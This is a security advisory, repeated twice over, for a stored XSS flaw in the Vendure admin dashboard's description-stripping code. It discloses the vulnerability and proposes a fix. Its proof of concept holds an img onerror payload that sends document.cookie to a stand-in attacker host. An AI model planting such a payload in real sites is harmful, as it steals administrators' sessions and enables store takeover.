CVE-2026-63459

Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element's innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator's session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5.

Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element's innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator's session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5.

Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Package: @vendure/dashboard (vendure-ecommerce/vendure, latest master) ·

Summary

The dashboard's RichTextDescriptionCell "strips HTML" from an entity's description by assigning it to a live element's innerHTML and reading back textContent. This pattern still executes active markup: a description containing <img src=x onerror=…> runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing onerror). Because description is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a higher-privilege administrator's browser when they open the corresponding list — stored XSS leading to admin-session compromise.

Vulnerable code

packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx

export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
    const value = cell.getValue();
    const textContent = useMemo(() => {
        if (!value) return '';
        const div = document.createElement('div');
        div.innerHTML = value;          // line 51 — parses/loads active markup; <img onerror> fires here
        return div.textContent ?? '';   // line 52 — reading textContent does NOT undo the side effect
    }, [value]);
    ...
}

innerHTML does not run <script>, but it does trigger resource loads / event handlers such as <img src=x onerror=...>, <image>, <svg> handlers — even on a detached element — so the assignment itself is the sink. Reading textContent afterwards is irrelevant; the handler has already executed.

Reachable from (all use this cell for the description column)

• _products/products.tsx:53, _collections/collections.tsx, _promotions/promotions.tsx:62, _payment-methods/payment-methods.tsx:57, _shipping-methods/shipping-methods.tsx:39.

All of these are description fields editable by administrators with the corresponding catalog/promotion/settings write permissions — which, in Vendure's multi-channel model, includes channel-scoped admins.

Proof of concept

1. As an administrator with UpdateCatalog/UpdateProduct (e.g. a channel-scoped admin), set a Product's description to: <img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
2. Any administrator who opens the Products list in the dashboard renders RichTextDescriptionCell for that row → div.innerHTML = description → the onerror executes in their session.
3. Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).

Impact

Stored XSS executing in administrators' browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.

Suggested fix

Strip HTML with an inert parser (no script/resource execution) instead of a live element, or sanitize before display:

// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';

(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other element.innerHTML = <untrusted> assignments used for "stripping".

Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element's innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator's session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5.

Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element's innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator's session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5.

Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Package: @vendure/dashboard (vendure-ecommerce/vendure, latest master) ·

Summary

The dashboard's RichTextDescriptionCell "strips HTML" from an entity's description by assigning it to a live element's innerHTML and reading back textContent. This pattern still executes active markup: a description containing <img src=x onerror=…> runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing onerror). Because description is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a higher-privilege administrator's browser when they open the corresponding list — stored XSS leading to admin-session compromise.

Vulnerable code

packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx

export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
    const value = cell.getValue();
    const textContent = useMemo(() => {
        if (!value) return '';
        const div = document.createElement('div');
        div.innerHTML = value;          // line 51 — parses/loads active markup; <img onerror> fires here
        return div.textContent ?? '';   // line 52 — reading textContent does NOT undo the side effect
    }, [value]);
    ...
}

innerHTML does not run <script>, but it does trigger resource loads / event handlers such as <img src=x onerror=...>, <image>, <svg> handlers — even on a detached element — so the assignment itself is the sink. Reading textContent afterwards is irrelevant; the handler has already executed.

Reachable from (all use this cell for the description column)

• _products/products.tsx:53, _collections/collections.tsx, _promotions/promotions.tsx:62, _payment-methods/payment-methods.tsx:57, _shipping-methods/shipping-methods.tsx:39.

All of these are description fields editable by administrators with the corresponding catalog/promotion/settings write permissions — which, in Vendure's multi-channel model, includes channel-scoped admins.

Proof of concept

1. As an administrator with UpdateCatalog/UpdateProduct (e.g. a channel-scoped admin), set a Product's description to: <img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
2. Any administrator who opens the Products list in the dashboard renders RichTextDescriptionCell for that row → div.innerHTML = description → the onerror executes in their session.
3. Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).

Impact

Stored XSS executing in administrators' browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.

Suggested fix

Strip HTML with an inert parser (no script/resource execution) instead of a live element, or sanitize before display:

// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';

(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other element.innerHTML = <untrusted> assignments used for "stripping".